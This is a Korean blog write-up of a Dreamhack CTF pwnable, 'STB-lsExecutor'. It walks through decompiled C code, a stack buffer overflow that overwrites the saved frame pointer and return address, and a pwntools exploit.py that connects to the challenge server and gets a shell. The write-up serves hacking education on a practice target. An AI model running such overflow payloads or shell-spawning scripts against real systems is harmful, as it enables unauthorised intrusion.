STB-lsExecutor 포너블 풀이
Patchday Twitter 에서 소스코드가 주어집니다.
이 코드는 주어진 옵션과 경로를 입력 받아서 시스템 명령어를 실행하는 간단한 프로그램입니다.
먼저, "main" 함수는 "EVP_PKEY_CTX" 포인터를 매개변수로 받습니다. 이 함수는 초기화 함수 "init"을 호출한 후, 무한 루프를 실행합니다.
루프는 최대 9번 반복하며, 각 반복에서 사용자에게 옵션과 경로를 입력 받습니다.
사용자로부터 옵션은 "read_data" 함수를 통해 60바이트까지 입력 받고, 이를 "snprintf" 함수를 사용하여 "ls -{입력된 옵션}" 형태로 조합합니다.
그리고 다시 사용자로부터 경로를 입력 받아서 "ls" 명령어와 조합하여 최종 명령어를 만들게 됩니다.
그 후, 이 조합된 명령어를 실행하기 위해 "system" 함수를 호출합니다.
마지막으로, 사용자에게 다시 반복 여부를 묻고, 사용자가 'n'을 입력하면 루프를 빠져나오고 프로그램이 종료됩니다.
여기서 "sel" 함수는 사용자의 입력을 받아들이고, 이 입력이 'n'인지 여부를 판별하여 루프를 종료시키는 역할을 합니다.
1. 정보 수집
nc로 프로그램을 실행해봤습니다.
(저 path가 그 path인줄알고 .... ^^;)
file과 checksec 명령어로 정보를 조회해봤습니다.
해당 실행 파일은 64비트 x86 아키텍처로 빌드되었으며, 부분적인 RELRO와 NX 보호 기능이 적용되어 있습니다.
그리고, IDA로 조회해서 Address를 얻었습니다.
2. main 함수
undefined8 main(EVP_PKEY_CTX *param_1)
{
undefined local_b8 [64];
char local_78 [104];
int local_10;
int local_c;
init(param_1);
local_c = 0;
while( true ) {
if (9 < local_c) {
return 0;
}
printf("Enter option : ");
read_data(local_b8,0x3c);
local_10 = snprintf(local_78,0x1e,"ls -%s ",local_b8);
printf("Enter path : ");
read_data(local_78 + local_10,0x46);
system(local_78);
puts("Again? y/n");
read(0,&sel,2);
if (sel == 'n') break;
local_c = local_c + 1;
}
return 0;
}
- EVP_PKEY_CTX 포인터를 매개변수로 받습니다.
- init 함수를 호출하여 프로그램을 초기화합니다.
- local_c 변수를 초기화하고, 반복문을 통해 0부터 9까지 반복합니다. 이는 최대 10번의 명령 실행을 의미합니다.
- 각 반복에서 사용자에게 옵션을 입력하도록 요청하고, read_data 함수를 통해 입력을 받습니다.
- 입력된 옵션에 따라 ls -<옵션> 형태의 명령어를 생성하여 local_78 버퍼에 저장합니다.
- 다음으로 사용자에게 경로를 입력하도록 요청하고, read_data 함수를 통해 입력을 받습니다.
- 입력된 경로는 local_78 버퍼에 적절한 위치에 추가됩니다.
- 마지막으로 system 함수를 사용하여 생성된 명령어를 실행합니다.
- 사용자에게 반복 여부를 묻고, 'n'을 입력받으면 반복문을 종료하고 0을 반환합니다.
RET주소 (local_78)
3. command_check 함수
void command_check(long param_1,int param_2)
{
size_t sVar1;
int local_20;
int local_1c;
local_1c = 0;
do {
if (param_2 <= local_1c) {
return;
}
local_20 = 0;
while( true ) {
sVar1 = strlen("~!#$%^&*()_+|`\\<>?,./;:\'\"{}[]\n");
if (sVar1 <= (ulong)(long)local_20) break;
if (*(char *)(param_1 + local_1c) == "~!#$%^&*()_+|`\\<>?,./;:\'\"{}[]\n"[local_20]) {
*(undefined *)(param_1 + local_1c) = 0x78;
break;
}
local_20 = local_20 + 1;
}
local_1c = local_1c + 1;
} while( true );
}
- param_1에는 입력된 데이터가 저장된 버퍼의 주소가 전달됩니다.
- param_2는 입력된 데이터의 길이를 나타냅니다.
- 입력된 데이터를 하나씩 확인하면서 특정 문자를 필터링합니다.
- "~!#$%^&*()_+|`\<>?,./;:'"{}[]\n"에 해당하는 문자가 입력된 경우 해당 위치의 값을 'x'(ASCII 값 0x78)로 바꿉니다.
4. read_data 함수
void read_data(void *param_1,int param_2)
{
ulong uVar1;
uVar1 = read(0,param_1,(long)param_2);
*(undefined *)((long)param_1 + (long)(int)uVar1 + -1) = 0;
command_check(param_1,uVar1 & 0xffffffff);
return;
}
- param_1에는 입력된 데이터를 저장할 버퍼의 주소가 전달됩니다.
- param_2는 입력 데이터의 최대 길이를 나타냅니다.
- read 함수를 사용하여 사용자 입력을 받습니다.
- 입력된 데이터의 끝에 null 문자를 추가하여 문자열을 종료합니다.
- 마지막으로 입력된 데이터를 검사하기 위해 command_check 함수를 호출합니다.
5. 취약점과 페이로드
이 프로그램의 취약점은 입력 받는 부분에서 버퍼 오버플로우입니다.
프로그램은 main() 함수를 통해 실행됩니다. main() 함수는 사용자로부터 입력을 받는 반복문을 포함하고 있습니다.
반복문은 local_c 변수가 9 이상이 될 때까지 동작하며, 각 반복에서 사용자로부터 "Enter option : " 및 "Enter path : " 메시지를 출력하고, 입력을 받아 local_b8 및 local_78 버퍼에 저장합니다.
read_data() 함수는 입력을 받은 후에 널 종료 문자를 추가하며, command_check() 함수에서 입력 데이터에 대한 길이 확인 없이 바로 처리됩니다.
이로 인해 사용자가 입력한 데이터의 길이가 버퍼의 크기를 초과하면 버퍼 오버플로우가 발생할 수 있습니다.
이 취약점을 이용하여 공격자는 제어 가능한 메모리 영역에 악성 코드를 삽입하고, 프로그램의 제어 흐름을 변경하여 시스템 호출을 수행할 수 있습니다.
예를 들어, 공격자는 페이로드를 사용하여 SFP(Saved Frame Pointer)를 조작하고, RET(Return Address)를 변경하여 프로그램의 실행 흐름을 제어할 수 있습니다.
# dummy + size + i + SFP + RET
payload = b'A' * 60 # read_data() 함수에서 60바이트의 입력을 받음
payload += b'A' * 0x2c # command_check() 함수의 param_1로 사용될 버퍼에 추가적인 데이터
payload += p32(0x9) # 반복문을 탈출하기 위한 조건 설정
payload += p64(0x404079 + 0x70) # SFP 조작
payload += p64(0x4013cb) # RET 주소 설정
이 페이로드는 read_data 함수와 command_check 함수 간의 버퍼 오버플로우 취약점을 이용하여 프로그램의 제어 흐름을 조작합니다.
먼저, 'A' 문자로 60바이트의 더미 데이터를 생성하여 read_data 함수에서 60바이트 이상의 입력을 전달합니다.
그런 다음, command_check 함수의 param_1로 사용되는 버퍼에 추가적인 44바이트의 데이터를 전달하여 param_1과 param_2 사이의 경계를 넘어버리고,
반복문을 탈출하기 위한 조건을 설정한 뒤, SFP를 조작하여 RET 주소를 공격자가 원하는 주소로 설정합니다.
6. exploit.py
python3와 pwntools 라이브러리를 사용하여 exploit.py을 작성했습니다.
from pwn import *
p = remote("host3.dreamhack.games", 19698)
# payload = dummy + size + i + SFP + RET
payload = b'A' * 60 + b'A' * 0x2c + p32(0x9) + p64(0x404079 + 0x70) + p64(0x4013cb)
p.sendafter("Enter option : ", payload)
p.sendafter("Enter path : ", b"sh")
p.interactive()
실행하면
cat flag가 잘 출력되었습니다.
문의는 댓글 남겨주세요
'CTF 풀이' 카테고리의 다른 글
[webhacking.kr] 🍊 orange 문제 풀이 (0) | 2024.12.05 |
---|---|
[드림핵] [wargame.kr] dmbs335 풀이 (+SQLI 치트시트) (17) | 2024.02.23 |
[드림핵] chinese what? - RSA CRT 암호학 문제 풀이 (1) | 2024.02.16 |
[드림핵] r-xor-t 풀이 (2) | 2024.02.13 |